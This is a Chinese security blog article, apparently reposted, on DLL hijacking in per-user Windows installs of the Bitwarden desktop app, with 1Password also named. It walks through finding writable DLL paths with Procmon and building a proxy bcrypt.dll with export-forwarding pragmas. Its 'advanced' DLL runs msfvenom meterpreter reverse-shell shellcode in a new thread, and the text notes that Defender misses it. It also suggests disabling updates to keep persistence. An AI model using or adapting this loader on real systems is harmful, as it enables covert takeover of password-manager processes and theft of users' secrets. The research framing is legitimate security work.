利用WindowsElectron应用中的DLL劫持漏洞

admin 2025-12-25 03:01:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了Bitwarden桌面版因单用户安装导致的DLL劫持漏洞。攻击者可替换可写目录下的bcrypt.dll,通过转发函数调用维持功能并植入恶意载荷。文章演示了利用Procmon发现漏洞及构造恶意DLL的过程,最后指出需禁用更新以维持持久化。 综合评分: 90 文章分类: 漏洞分析,红队,渗透测试,二进制安全,逆向分析


cover_image

利用 Windows Electron 应用中的 DLL 劫持漏洞

TtTeam

2025年12月16日 15:21 广东

Bitwarden桌面应用程序

Bitwarden 是一款优秀的密码管理器,几乎支持所有主流系统。我个人在自托管服务器上使用它,并配合网页浏览器扩展程序使用。Bitwarden 还提供基于 Electron 构建的桌面应用程序。之前的一篇博客文章曾指出 Bitwarden 的主密码可以从内存中提取出来,但值得庆幸的是,这个问题现在已经修复了。

安装类型

Bitwarden 有两种安装选项,一种是系统级安装(所有用户),另一种是单用户安装。本文假设 Bitwarden 是为单用户安装的。这不需要管理员权限,也是截至以下版本为止的默认选项2023.7.1:

当您将应用程序安装到系统范围时,默认情况下,非特权用户没有写入权限Program Files,Systems32以及其他应用程序文件夹,因此无法加载恶意 DLL 库。

什么是 DLL 劫持?

DLL劫持是一种利用Windows DLL搜索顺序来劫持进程执行流程的技术。它通过替换现有DLL或在特定路径中添加一个不存在的DLL来实现。当用户运行合法应用程序时,进程会加载恶意DLL并继续执行。这项技术由来已久,但近年来被各种威胁行为者和红队用于持久化攻击。

Windows DLL 搜索顺序

大多数应用程序都被编译成动态二进制文件,这意味着应用程序正常运行所需的依赖项会在运行时加载到进程内存中。在 Windows 系统中,这些依赖项通常是存储在系统某个位置的 DLL 库。

在 Windows 系统中,当应用程序需要加载 DLL 时,它将按以下顺序执行:

应用程序加载所在的目录C:\Windows\System32,C:\Windows\System,C:\Windows,当前工作目录系统 PATH 环境变量中的目录用户 PATH 环境变量中的目录。

根据应用程序的配置方式或其加载 DLL 的位置,它可能存在漏洞。

如何检查应用程序是否存在漏洞?

使用Procmon之类的工具可以轻松完成这项操作。Procmon 是 SystemInternals 公司的一款工具,用于监控进程执行情况。在本例中,我们试图识别已加载但实际上并不存在的 DLL 文件,更具体地说,是那些从我们可以控制或写入的位置加载的 DLL 文件。

使用 Procmon 识别尝试加载不存在的 DLL 的进程:

  • 创建一个新的筛选器,其中“流程名称”例如Bitwarden.exe
  • 创建一个新的筛选器,其中结果是NAME NOT FOUND
  • 创建一个新过滤器,其中路径以“”结尾.dll

Bitwarden.exe 进程运行时会尝试加载几个 DLL 文件,但由于这些文件不在本地 PATH 环境变量中而失败。更重要的是,这些 DLL 文件是从一个可写目录加载的,这意味着我们不需要管理员权限就可以复制恶意 DLL 文件。

C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar.unpacked\node_modules\@bitwarden\desktop-native\bcrypt.dll

注意:作为另一款 Electron Windows 应用,密码管理器1Password也尝试加载相同的库bcrypt.dll。而且它默认也使用单用户安装方式。以下是一个示例路径:

C:\Users\Tester\AppData\Local\1Password\app\8\bcrypt.dll

下面编写的 DLL 有效载荷适用于这两个应用程序以及其他应用程序。

动态二元分析

首先我们需要了解bcrypt.dllBitwarden 应用内部使用了哪些功能,这样即使我们替换它,该应用也能继续正常运行。

使用动态调试器x64dbg启动了二进制文件,以便识别所有正在加载的库以及bcrypt.dll库中正在调用的导出函数。

bcrypt.dll奇怪的是,在程序执行初期,没有任何迹象表明该库已被加载。

然后让程序正常运行,没有设置任何断点,直到应用程序(Bitwarden)显示登录提示,然后暂停执行并再次检查符号表。在符号表中,我可以看到库bcrypt.dll已成功加载。太好了!

但有趣的是,bcrypt 库并非由 bcrypt 直接加载Bitwarden.exe,而是由另一个名为 bcrypt 的库加载desktop_native.win32-x64-msvc.node。我们可以通过查看该库的导入语句来验证这一点,如下所示(右下角):

BCryptGenRandom()它显示导入了一个名为inside 的函数bcrypt.dll。函数名表明它是用来生成随机数的。

从 Windows System32 文件夹中随机选择了一个 DLL 文件,将其放入导入目录并重命名bcrypt.dll。然后我正常运行了该应用程序。这种方法可能并非总能提供有效信息,但我喜欢观察应用程序在尝试加载意外或无效的 DLL 文件时会发生什么。

该 DLL 文件放置在以下目录中(非特权用户可写入):

C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar.unpacked\node_modules\@bitwarden\desktop-native\

这证实了我们可以通过bcrypt.dll在特定路径中添加一个名为 <DLL> 的 DLL 文件来改变 Bitwarden 进程的执行方式。如前所述,此漏洞存在于 Bitwarden 为单用户安装(默认选项)而非系统级安装时。

创建自定义 DLL

首先,我在网上搜索了一些 C++ 或 C 模板代码,并在ired.team上找到了一个不错的示例。为了包含正确的 DLL 内容,我修改了代码#pragma行(稍后会详细介绍),使其包含位于 System32 中的 DLL 的绝对路径bcrypt.dll,而不是将整个 DLL 库复制到导入路径中。

获取所有导出的函数

BCryptGenRandom()但我希望确保bcrypt.dll库中的所有函数都被转发。这样做是为了确保如果其他存在漏洞的应用程序依赖于这个库,我可以重用它,而无需手动选择特定的函数。

我再次选择使用 x64dbg,因为它允许手动复制粘贴导出的函数。该库共有58 个函数。为了快速简便地完成这项工作,我在 Windows Linux 子系统上使用以下命令创建了一个包含已转发函数的 C++ 代码行列表:

cat bcrypt_functions.txt&nbsp;|&nbsp;awk&nbsp;-F&nbsp;',' '{print&nbsp;"#pragma comment(linker,&nbsp;\"/export:"$4"=C:\\\\windows\\\\system32\\\\bcrypt."$4",@"$3"\")"&nbsp;}'

转发函数调用

为了确保应用程序正常运行且不丢失任何功能,我们使用编译器指令#pragma comment()要求恶意 DLL 导出的函数列表必须与原始bcrypt.dll函数匹配。这实际上是一种代理或转发函数调用的方式。

基本 DLL C++ 源代码

下面的示例 C++ 源代码编译并加载后,只会显示一个包含我的 Twitter 用户名的消息窗口。您还会注意到,运行 Bitwarden 应用程序时,它会加载 DLL 文件,并等待您点击“确定”后才继续执行,这对于红队演练来说没什么用。

该库使用一个 switch 选项DLL_PROCESS_ATTACH,在 DLL 加载时执行特定操作。在实际应用中,攻击者可能希望实现一个预加载有效载荷,用于下载并执行系统上的其他恶意软件。

#include&nbsp;"pch.h"// Note: For the full list use https://gist.github.com/markuta/8c547f2a58d560e446fef2ce7bf81b04#pragma&nbsp;comment(linker,&nbsp;"/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")BOOL&nbsp;APIENTRY DllMain( HMODULE hModule,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LPVOID lpReserved&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;){
&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MessageBoxA(NULL,&nbsp;"Hi from @nazmarkuta",&nbsp;"Window Title",&nbsp;0);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

高级 DLL C++ 源代码

稍高级的版本会在当前进程中创建一个新线程,然后执行msfvenom生成的有效载荷(meterpreter 反向 TCP shell)。此样本很可能会被 EDR 检测到。然而,截至撰写本文时,Windows Defender 尚未检测到该 DLL。

#include&nbsp;"pch.h"#include&nbsp;<windows.h>#pragma&nbsp;comment(linker,&nbsp;"/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")DWORD WINAPI&nbsp;ThreadFunction(LPVOID lpParameter){&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;shellcode[] =&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x9b\x9f\x92\x9b\x9f\xfc\x99\x99\x9b\x92\x93\x91\x9e\x99"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"..."&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\xec\xe4\x4b\x69\x13\x5a\xa8\xe3\x0e\x29\x19\x42\x9a\xd9"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\xec\xd6\xb2\xe9";void* exec =&nbsp;VirtualAlloc(0,&nbsp;sizeof&nbsp;shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, shellcode,&nbsp;sizeof&nbsp;shellcode);    ((void(*)())exec)();&nbsp; &nbsp;&nbsp;return&nbsp;0;}BOOL APIENTRY&nbsp;DllMain(HMODULE hModule,&nbsp; &nbsp; DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; LPVOID lpReserved){&nbsp; &nbsp; HANDLE threadHandle;&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//MessageBoxA(NULL, "Hi from @nazmarkuta", "Window Title", 0);&nbsp; &nbsp; &nbsp; &nbsp; threadHandle =&nbsp;CreateThread(NULL,&nbsp;0, ThreadFunction,&nbsp;NULL,&nbsp;0,&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CloseHandle(threadHandle);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

现在运行 Bitwarden 应用时,bcrypt.dll!ThreadFunction主进程内会创建一个名为 <thread\_name> 的新线程;您可以使用 Process Hacker 之类的工具进行检查。该线程会加载生成的 shellcode:

当 Bitwarden Desktop 启动软件更新时,恶意 DLL 会连同我们的持久化程序一起从目录中移除。对于红队来说,我认为一种(不太隐蔽的)应对方法是强制禁用 Bitwarden 的自动更新,或者至少停止检查最新版本。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:TtTeam 《利用 Windows Electron 应用中的 DLL 劫持漏洞》

评论:0   参与:  2